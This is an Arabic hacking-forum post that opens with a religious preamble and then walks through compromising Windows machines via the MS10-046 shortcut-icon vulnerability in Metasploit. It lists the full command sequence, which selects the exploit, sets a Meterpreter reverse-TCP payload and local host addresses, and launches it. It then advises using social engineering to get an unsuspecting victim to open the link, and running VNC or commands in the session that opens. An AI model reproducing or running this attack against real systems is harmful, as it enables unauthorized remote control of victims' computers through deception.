....الاختراق عن طريق Shortcut Icon _______

الحمد لله الذي يقول الحق وهو يهدي السبيل ، والصلاة والسلام على نبينا
محمد خاتم النبيين وإمام المرسلين ، جدد الله به رسالة السماء ، وأحيا ببعثته سنة
الأنبياء ، ونشر بدعوته آيات الهداية ، وأتم به مكارم الأخلاق وعلى آله وأصحابه ،
الذين فقههم الله في دينه ، فدعوا إلى سبيل ربهم بالحكمة والموعظة الحسنة ، فهدى
الله بهم العباد ، وفتح على أيديهم البلاد ، وجعلهم أمة يهدون بالحق إلى الحق
تحقيقاً لسابق وعده : { وَعَدَ اللَّهُ الَّذِينَ آمَنُوا مِنْكُمْ وَعَمِلُوا الصَّالِحَاتِ
لَيَسْتَخْلِفَنَّهُم فِي الأَرْضِ كَمَا اسْتَخْلَفَ الَّذِينَ مِنْ قَبْلِهِمْ
وَلَيُمَكِّنَنَّ لَهُمْ دِينَهُمْ الَّذِي ارْتَضَى لَهُمْ وَلَيُبَدِّلَنَّهُمْ
مِنْ بَعْدِ خَوْفِهِمْ أَمْناً يَعْبُدُونَنِي لا يُشْرِكُونَ بِي شَيْئاً وَمَنْ
كَفَرَ بَعْدَ ذَلِكَ فَأُوْلَئِكَ هُمْ الْفَاسِقُونَ}().
فشكروا ربهم على ما هداهم إليه من هداية خلقه والشفقة على عباده، وجعلوا مظهر
شكرهم بذل النفس والنفيس في الدعوة إلى الله تعالى


]بعد [ عذاب طويل ف شرح الموضوع اتمنى التقيم ]
[ نعود لكم بقوه .]..
اليوم سوف اضع بين ايديكم
طريقه للاختراق ولن اقول انها
{ priv8 }
انت احكم..[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]


ندخل في صلب الموضوع


سنتكلم اليوم عن الاختراق عن طريق Shortcut Icon وهذه الطريقه تعمل فقط على الويندز وعلى
المتصفحات اكسبلويرور بكل الاصدرات:

اولا نكتب الامر التالي

كود:

cd /pentest/exploits/framework3/


[font=Arial] كود:

./msfconsole

انظر الى الصوره

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]


الان نتجه الى تشغيل الثغره بهذا الامر

كود:

use windows/browser/ms10_046_shortcut_icon_dllloader

ثم نكتب الامر
كود:

show options

لعرض خيارات الثغره ومنها ارسال رابط الى اي شخص سواء كان داخل الشبكه

او خارجها يعني كذا ============== 192.168.1.1 بالنسبه للشبكه الداخليه

او الاي بي الخارجي بالنسبه لخارج الشبكه عن طريق الامر المعروف ipconfig

طيب

نكتب الامر التالي

كود:

set payload windows/meterpreter/reverse_tcp

لعمل اتصال عكسي كما بالصوره

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذه الصورة]


الان نقوم بتجهيز الا ي بي الخاص بجهازنا


set lhost 192.168.54.1
set srvhost 192.168.54.1

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]


الى تشغيل الثغره عن طريق الامر


كود:

exploit

[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]


NEERING >_<

الان مثل مو واضح ارسل للشخص اللى في الشبكه الرابط ومنفذه 4444

الان انت والهندسه الاجتماعيه z:4 حاول انك تقنع الضحيه لفتح الرابط وعند فتحه

لن يشك الضحيه

بعد مايفتح الضحيه الرابط نجد ان هناك سيشن فتح


[
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]



بامكانك تشغيل vnc

بامر

run vnc

اوتشغيل الاوامر حقت الويندز العاديه


الى هنا وصلنا الي نهايه الدرس

واعرف ان العقول في المنتدى سوف تطور الطريقه.

ولا اسمح للمخربين برد على موضوعي..


اهداء خاص
احمد مايو
عرزا اليكس
سمسمه
By safa7 el moot no hack
no cry